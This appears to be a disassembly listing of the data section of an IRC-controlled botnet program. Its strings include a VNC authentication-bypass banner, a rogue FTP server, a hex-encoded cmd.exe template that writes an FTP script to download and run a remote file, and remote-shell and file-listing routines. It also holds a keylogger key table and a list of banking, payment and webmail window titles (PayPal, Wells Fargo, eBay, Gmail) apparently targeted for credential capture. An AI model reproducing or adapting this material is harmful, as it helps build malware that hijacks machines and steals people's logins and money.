db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o
align 4
word_433ED8 dw 1 ; DATA XREF: ___:0040EBF9r
; sub_41B4FB+24r ...
align 4
dword_433EDC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_41A152+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h
dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch
dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h
dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 4
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 4
a226TransferCom db '226 Transfer complete',0Ah,0
align 10h
aList_0 db 'LIST',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00438010o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:0043801Co
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_2 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4341BC db 2Dh ; - ; DATA XREF: sub_40FAA3+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4341E4 db 0Dh,0Ah,0 ; DATA XREF: sub_40FAA3+2CFo
; sub_41A9BC+F2o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAA3+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FEFE+97o
; sub_41AF2B+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FEFE+5Eo
align 4
unk_434404 db 2Dh ; - ; DATA XREF: sub_410080+28Fo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_43443C db 2Dh ; - ; DATA XREF: sub_410080+20Bo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_434470: ; DATA XREF: sub_410080+157o
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_410080+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_410330+64Eo
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_410330+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410330:loc_410848o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410330+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_410330+374o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+330o
; sub_410330+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo
align 10h
aS db '<%s>',0 ; DATA XREF: sub_410330+2E4o
; sub_410330+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo
aAm db 'AM',0 ; DATA XREF: sub_410330+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_410330+285o
align 10h
a__ db '..',0 ; DATA XREF: sub_410330+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410330+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_434918 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D2Co
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o
dword_43495C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410C79o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4349C4 db 2Dh ; - ; DATA XREF: ___:00410E52o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_434A0C db 2Dh ; - ; DATA XREF: ___:004110A4o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_434A4C db 2Dh ; - ; DATA XREF: ___:00410FDBo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_434A90 db 2Dh ; - ; DATA XREF: ___:00411367o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_434ABC db 2Dh ; - ; DATA XREF: ___:00411340o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_434AE8 db 2Dh ; - ; DATA XREF: ___:00411320o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o
align 4
unk_434B24 db 2Dh ; - ; DATA XREF: ___:0041125Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
unk_434B50 db 2Dh ; - ; DATA XREF: sub_411383:loc_4113C8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_434B7C dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_4113DD+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_434D18 db 2Dh ; - ; DATA XREF: sub_411694+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434D4C db 2Dh ; - ; DATA XREF: sub_411694+59o
; sub_411694+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_434D94 db 2Dh ; - ; DATA XREF: sub_4117E5+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_434DBC db 2Dh ; - ; DATA XREF: sub_4117E5+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434DFC db 2Dh ; - ; DATA XREF: sub_4117E5+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434E3C db 2Dh ; - ; DATA XREF: sub_4118DE+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4118DE+8Co
align 4
dword_434E7C dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_4119B7+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h
dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h
dd 336E5730h, 203E2044h, 7325h
dword_435070 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:004125CDo
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 4
dword_435208 dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 4
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 4
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 4
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 4
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 10h
dd 4 dup(0)
dword_435C70 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:0041261Fo
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_4363DC dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
; DATA XREF: ___:004125EBo
; sub_41AF2B+EBo
dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h
dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
dd 2973h, 252EBB2Eh, 2EAB2E73h, 0
dd offset off_436CE8
dd offset off_436CE4
dd offset off_436CE0
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
